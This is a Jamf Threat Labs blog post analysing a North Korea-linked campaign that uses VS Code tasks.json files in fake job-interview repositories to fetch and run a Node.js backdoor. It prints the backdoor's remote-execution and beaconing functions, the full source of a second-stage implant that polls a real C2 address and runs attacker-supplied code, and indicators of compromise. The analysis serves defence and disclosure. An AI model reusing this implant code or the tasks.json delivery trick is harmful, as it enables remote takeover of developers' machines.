Skip to main content English English Jamf Home Toggle Navigation Why Jamf Why Jamf Meet Jamf: The most complete Apple device management and security solution. Learn More Solutions Jamf for Mac Mac management, identity and endpoint security Jamf for Mobile Mobile device management, security and ZTNA Jamf for K-12 Management and security for the classroom Jamf for Small Business Simple Apple management and security Solutions Why Jamf Meet Jamf: The most complete Apple device management and security solution. Learn More Solutions Jamf for Mac Mac management, identity and endpoint security Jamf for Mobile Mobile device management, security and ZTNA Jamf for K-12 Management and security for the classroom Jamf for Small Business Simple Apple management and security Products Products Empower your employees with our best-in-class products. Learn More Jamf Pro Device management for business & higher education Jamf Now Device management for small & medium-sized businesses Jamf School Device management for K-12 Jamf Protect Endpoint security & protection Jamf Connect Identity & access management Jamf Safe Internet Security for education Jamf Executive Threat Protection Advanced security Pricing Pricing Find the best set of Jamf tools for your budget. Pricing options Business pricing For small business to enterprise Education pricing For K-12 Education Try or buy Request a trial Free, 14-day Jamf trial From a Partner Find a reseller Resources Resources Whether you’re looking for education or inspiration, Jamf has you covered with the latest industry and product-specific resources. View Resources Blog Get the latest industry insights, news, product updates and more. E-books Thought-provoking content designed to keep you ahead of industry trends. White Papers Research reports and best practices to keep you informed of Apple management tactics. Videos See product demos in action and hear from Jamf customers. Case Studies Apple success stories from those saving time and money with Jamf. Webinars On-demand webinar videos covering an array of Apple management topics. Product Documentation Learn more about our products and what they can do for your organization. Partners Partners Current partner, future partner or purchasing from a partner - you’re in the right place. Learn More For partners Register a deal Resources Training Login to Jamf Partner Hub Explore more Become a partner MSP Resellers Services Partners Technology Explore more Start Trial Contact Site Search Start Trial Contact Jamf Home Blog Threat Actors Expand Abuse of Microsoft Visual Studio Code Start Trial Threat Actors Expand Abuse of Microsoft Visual Studio Code Jamf Threat Labs identifies additional abuse of Visual Studio Code. See the latest evolution in the Contagious Interview campaign. January 20 2026 by Jamf Threat Labs By Thijs Xhaflaire Introduction At the end of last year, Jamf Threat Labs published research related to the Contagious Interview campaign, which has been attributed to a threat actor operating on behalf of North Korea (DPRK). Around the same time, researchers from OpenSourceMalware (OSM) released additional findings that highlighted an evolution in the techniques used during earlier stages of the campaign. Specifically, these newer observations highlight an additional delivery technique alongside the previously documented ClickFix-based techniques. In these cases, the infection chain abuses Microsoft Visual Studio Code task configuration files, allowing malicious payloads to be executed on the victim system. Following the discovery of this technique, both Jamf Threat Labs and OSM continued to closely monitor activity associated with the campaign. In December, Jamf Threat Labs identified additional abuse of Visual Studio Code tasks.json configuration files. This included the introduction of dictionary files containing heavily obfuscated JavaScript, which is executed when a victim opens a malicious repository in Visual Studio Code. Jamf Threat Labs shared these findings with OSM, who subsequently published a more in-depth technical analysis of the obfuscated JavaScript and its execution flow. Earlier this week, Jamf Threat Labs identified another evolution in the campaign, uncovering a previously undocumented infection method. This activity involved the deployment of a backdoor implant that provides remote code execution capabilities on the victim system. At a high level, the chain of events for the malware look like so: Throughout this blog post we will shed light on each of these steps. Initial Infection In this campaign, infection begins when a victim clones and opens a malicious Git repository, often under the pretext of a recruitment process or technical assignment. The repositories identified in this activity are hosted on either GitHub or GitLab and are opened using Visual Studio Code. When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system. On macOS systems, this results in the execution of a background shell command that uses nohup bash -c in combination with curl -s to retrieve a JavaScript payload remotely and pipe it directly into the Node.js runtime. This allows execution to continue independently if the Visual Studio Code process is terminated, while suppressing all command output. In observed cases, the JavaScript payload is hosted on vercel.app, a platform that has been increasingly used in recent DPRK-related activity following a move away from other hosting services, as previously documented by OpenSourceMalware. Jamf Threat Labs reported the identified malicious repository to GitHub, after which the repository was removed. While monitoring the activity prior to takedown, we observed the URL referenced within the repository change on multiple occasions. Notably, one of these changes occurred after the previously referenced payload hosting infrastructure was taken down by Vercel. The JavaScript Payload Once execution begins, the JavaScript payload implements the core backdoor logic observed in this activity. While the payload appears lengthy, a significant portion of the code consists of unused functions, redundant logic, and extraneous text that is never invoked during execution (SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc). This additional code increases the size and complexity of the script without impacting its observed behavior. It is passed to the node executable as one large argument. Focusing on the functional components, the payload establishes a persistent execution loop that collects basic host information and communicates with a remote command-and-control (C2) server. Hard-coded identifiers are used to track individual infections and manage tasks from the server. Core backdoor functionality While the JavaScript payload contains a significant amount of unused code, the backdoor's core functionality is implemented through a small number of routines. These routines provide remote code execution, system fingerprinting, and persistent C2 communication. Remote code execution capability The payload includes a function that enables the execution of arbitrary JavaScript while the backdoor is active. At its core, this is the main functionality of this backdoor. function Hp(_0x2d7a84) {
  try {
    return new Function('require', _0x2d7a84)(require);
  } catch {}
} This function allows JavaScript code supplied as a string to be dynamically executed over the course of the backdoor lifecycle. By passing the requirefunction into the execution context, attacker-supplied code can import additional Node.js modules allowing additional arbitrary node functions to be executed. System fingerprinting and reconnaissance To profile the infected system, the backdoor collects a small set of host-level identifiers: function Mp() {
  return {
    hostname: _0x2b1193,
    macs: _0x56ed9b,
    os: _0x1ac0fe + " " + _0x35b84f + " (" + _0x3fea09 + ")"
  };
} This routine gathers the system hostname, MAC addresses from available network interfaces, and basic operating system details. These values provide a stable fingerprint that can be used to uniquely identify infected hosts and associate them with a specific campaign or operator session. In addition to local host identifiers, the backdoor attempts to determine the victim’s public-facing IP address by querying the external service ipify.org, a technique that has also been observed in prior DPRK-linked campaigns. Command-and-control beaconing and task execution Persistent communication with the C2 server is implemented through a polling routine that periodically sends host information and processes server responses. The beaconing logic is handled by the following function: async function jo() {
  let _0x53639c = await Ip.get('http://87.236.177.9:3000/api/errorMessage', {
    params: {
      sysInfo: _0x358fa0,
      exceptionId: 'env19475',
      instanceId: So
    }
  });

  if (_0x53639c.data.status === 'error') {
    Hp(_0x53639c.data.message || "Unknown error");
  }
}

setInterval(jo, 0x1388); This function periodically sends system fingerprinting data to a remote server and waits for a response. The beacon executes every five seconds, providing frequent interaction opportunities. The server response indicates successful connectivity and allows the backdoor to maintain an active session while awaiting tasking. Request:

GET /api/errorMessage?sysInfo[hostname]=ManagedMachine2&sysInfo[macs][0]=9e:8f:cf:6c:04:5c&sysInfo[os]=Darwin+25.0.0+(darwin)&exceptionId=env19475&instanceId=414066c0-a6e8-4fcb-81bc-4ccf52f39999 HTTP/1.1
Host: 87.236.177.9:3000
User-Agent: axios/1.13.2
Accept: application/json
Connection: keep-alive

-----

Response:

HTTP/1.1 200 OK
Content-Type: application/json
Connection: timeout=5

{"status":"ok","message":"server connected", "instanceId":"414066c0-a6e8-4fcb-81bc-4ccf52f39999"} If the server response contains a specific status value, the contents of the response message are passed directly to the remote code execution routine, mentioned prior. Further Execution and Instructions While monitoring a compromised system, Jamf Threat Labs observed further JavaScript instructions being executed roughly eight minutes after the initial infection. The retrieved JavaScript went on to set up a very similar payload to the same C2 infrustructure. /opt/homebrew/Cellar/node/24.8.0/bin/node -e 
 let agentId = "d2bdc4a4-6c8a-474a-84cf-b3219a1e68e4"
  const SERVER_IP = "http://87.236.177.9:3000/"
  let handleCode = "8503488878"

  const { spawn, spawnSync } = require("child_process");
  const os = require("os");
  const path = require("path");
  const managedPids = new Set();
    
  function stopAllProcesses() {
    for (const pid of managedPids) {
      try {
        if (process.platform === "win32") {
          require("child_process").spawn("taskkill", ["/PID", String(pid), "/T", "/F"], { stdio: "ignore" });
        } else {
          process.kill(-pid, "SIGTERM");
          setTimeout(() => { try { process.kill(-pid, "SIGKILL"); } catch {} }, 1000);
        }
      } catch {}
    }
    managedPids.clear();
  }
    
        async function getSystemInfo() {
      // PC hostname
      const hostname = os.hostname();
    
      // MACs (from all interfaces)
      const macs = Object.values(os.networkInterfaces())
        .flat()
        .filter(Boolean)
        .map(n => n.mac)
        .filter(mac => mac && mac !== "00:00:00:00:00:00");
    
      // OS details
      const osName = os.type();
      const osRelease = os.release();
      const platform = os.platform();
    
      // Public IP
      let publicIp = "unknown";
      try {
        const res = await fetch("https://api.ipify.org?format=json");
        const data = await res.json();
        publicIp = data.ip;
      } catch (err) {
        reportError('deps-address',err)
      }
    
      return {
        hostname,
        publicIp,
        macs,
        os: osName + " " + osRelease + " (" + platform + ")"
      };
    }

    async function reportError(type, error) {
      const payload = {
        type,                      // you can adjust type as needed
        hostname: os.hostname(),
        message: error.message || String(error),
        agentId,
        handleCode
      };
      try {
      const url = SERVER_IP + "api/reportErrors"
        const res = await fetch(url, {
          method: "POST",
          headers: { "Content-Type": "application/json" },
          body: JSON.stringify(payload),
        });
      } catch (e) {
      }
    }
    
    async function requestServer (sysInfo) {
      new Promise((resolve, reject) => {
        const url = SERVER_IP + "api/handleErrors"
        fetch( url, {
            method: "POST",
            headers: {
              "Content-Type": "application/json"   // telling server we send JSON
            },
            body: JSON.stringify({
              agentId: agentId,
              handleCode: handleCode.toString(),
              sysInfo
            })
        }).then(res => res.json())   // parse JSON response
        .then(data => {
          const {responseCode, messages, status, newAgentId} = data
          if (responseCode) handleCode = responseCode
          if (responseCode == '-1') {
            stopAllProcesses()
            setTimeout(() => process.exit(0), 2000);
          }
          if (newAgentId && newAgentId !== "") agentId = newAgentId
          if (messages && Array.isArray(messages)) {
            for (let i = 0; i < messages.length; i++) {
              const message = messages[i]
              var safeCwd;
              try {
                safeCwd = process.cwd();
              } catch (e) {
                safeCwd = os.homedir();
              }
              try {
                process.on("SIGHUP", () => { /* ignore */ });
                const child = spawn(process.execPath, ["-"], {
                cwd: safeCwd, 
                  detached: true,
                  windowsHide: true,
                  stdio: ["pipe", "ignore", "ignore"]
                });
                child.stdin.write(message);
                child.stdin.end();
                child.on("error", (error) => {
                  reportError('deps-child-main',error)
                });
                child.unref();
                managedPids.add(child.pid);
              } catch (error) {
                reportError("deps-running", error)
              }
            }
          }
          resolve()
        })
        .catch(error => {
          resolve()
          reportError('deps-main',error)
          console.log(error)
        });
      });
    }
    
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    
    (async () => {
      try {

      const sysInfo = await getSystemInfo()
      while (true) {
        const timeout = new Promise((_, rej) => setTimeout(() => rej("timeout"), 10_000));
        try {
          await Promise.race([requestServer(sysInfo), timeout]);
          await sleep(5000); // wait 2s after a normal finish
        } catch (e) {
          if (e === "timeout") continue; // timed out → try again immediately
          await sleep(5000);             // other error → wait 2s then retry
        }
      }
      } catch(error) {
       reportError('deps-theard',error)
      }
    })();
    
    
    Review of this retrieved payload yields a few interesting details... It beacons to the C2 server every 5 seconds, providing its system details and asks for further JavaScript instructions. It executes that additional JavaScript within a child process. It's capable of shutting itself and child processes down and cleaning up if asked to do so by the attacker. It has inline comments and phrasing that appear to be consistent with AI-assisted code generation. Conclusion This activity highlights the continued evolution of DPRK-linked threat actors, who consistently adapt their tooling and delivery mechanisms to integrate with legitimate developer workflows. The abuse of Visual Studio Code task configuration files and Node.js execution demonstrates how these techniques continue to evolve alongside commonly used development tools. Jamf Threat Labs will continue to track these developments as threat actors refine their tactics and explore new ways to deliver macOS malware. We strongly recommend that customers ensure Threat Prevention and Advanced Threat Controls are enabled and set to block mode in Jamf for Mac to remain protected against the techniques described in this research. Developers should remain cautious when interacting with third-party repositories, especially those shared directly or originating from unfamiliar sources. Before marking a repository as trusted in Visual Studio Code, it’s important to review its contents. Similarly, "npm install" should only be run on projects that have been vetted, with particular attention paid to package.json files, install scripts, and task configuration files to help avoid unintentionally executing malicious code. Indicators or Compromise Repository URL: https://github.com/CannonOps/backend/blob/dev/.vscode/tasks.json
Repository URL: https://github.com/CannonOps/frontend-website/blob/dev/.vscode/tasks.json
Malicious Vercel URL: https://edgeauth.vercel.app/api/getMoralisData?token=Z4T9QH
Malicious Vercel URL: https://moralmetrics.vercel.app/api/getMoralisData?token=Z4T9QH 
C2 IP: 87.236.177.9:3000
C2 DNS: srv37746.hosted-by-eurohoster.org
Javascript Payload SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc
JavaScript Payloads sharing similarities:
SHA256: 67c05c1624a227959728e960e4563435db2519a24a46e95207a42ea8d4307e2d
SHA256: f8ae6ae9d6a13a8dddb05975930161601b5cfdd0cec30b7efdc5ba0606774998
SHA256: 71e4ea17c871b983a2cbbea7a4fbd7fe498951c8fe4a1e17377e9aa06fd7184a
SHA256: 71d8a974548e4e152e2c818d1febb7862632c1f9bff6adaa731bbaf6b23bd4b9
SHA256: 1b26f73fa88f8c3b17adf6db12ec674481db1f92eb04806815b8fbd6086f07ef
SHA256: a2194390105731ce33cb9a51011c42a39a440942e907099f072916a36f17ef4b

 Dive into more Jamf Threat Labs research on our blog. Read More Tags: Jamf Threat Labs Share Share on Facebook Share on Twitter Share on LinkedIn Share via email Jamf English English Jamf’s purpose is to simplify work by helping organizations manage and secure an Apple experience that end users love and organizations trust. Jamf is the only company in the world that provides a complete management and security solution for an Apple-first environment that is enterprise secure, consumer simple and protects personal privacy. Learn about Jamf. +1 612-605-6625 info@jamf.com Business Education Healthcare The Jamf platform AI Assistant Zero-touch deployment Mobile Device Management (MDM) App management Inventory management Self Service+ and Self Service Identity and access management Endpoint protection Threat prevention and remediation Content filtering and safe internet Zero Trust Network Access (ZTNA) Security visibility and compliance Business pricing Education pricing Jamf Support Premium Support Technical Support Desk Services Premium Services Jamf Services Policies Training Training Policies Resources Events Blog E-books Case Studies White Papers Jamf Threat Labs Partners For partners Become a partner Buy from a partner Marketplace Developers Products Jamf Pro Jamf Now Jamf School Jamf Connect Jamf Protect Jamf Safe Internet Jamf Executive Threat Protection Integrations Apple AWS Microsoft Google Okta About Leadership Contact News Press Releases Careers Events Investor Relations Media Kit Trust Center Corporate Responsibility Jamf Ventures Vulnerability Disclosure Program English English All contents © copyright 2002-2026 Jamf. All rights reserved. Copyright Privacy Terms of Use Trust Modern Slavery Act Statement Twitter LinkedIn YouTube Instagram Facebook Back to Top Cookie Settings Privacy Preference Center When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer. More information Allow All Manage Consent Preferences Targeting Cookies Targeting Cookies These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising. View Vendor Details‎ Functional Cookies Functional Cookies These cookies enable the website to provide enhanced functionality and personalisation. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly. View Vendor Details‎ Performance Cookies Performance Cookies These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance. View Vendor Details‎ Strictly Necessary Cookies Always Active These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information. View Vendor Details‎ Back Button Vendors List Search Icon Filter Icon Clear checkbox label label Apply Cancel Consent Leg.Interest checkbox label label checkbox label label checkbox label label Confirm My Choices
==============
Jamf предоставляет комплексное решение для управления и безопасности устройств Apple, включающее управление, защиту и ZTNA. Существуют различные продукты, такие как Jamf Pro, Jamf Now, Jamf School и Jamf Protect, предназначенные для разных типов организаций. Компания предлагает инструменты для управления устройствами, обеспечения безопасности, управления идентификацией и доступом, а также для защиты от угроз. Также Jamf предоставляет информацию о текущих угрозах, включая аналитические отчеты, и рекомендации по защите.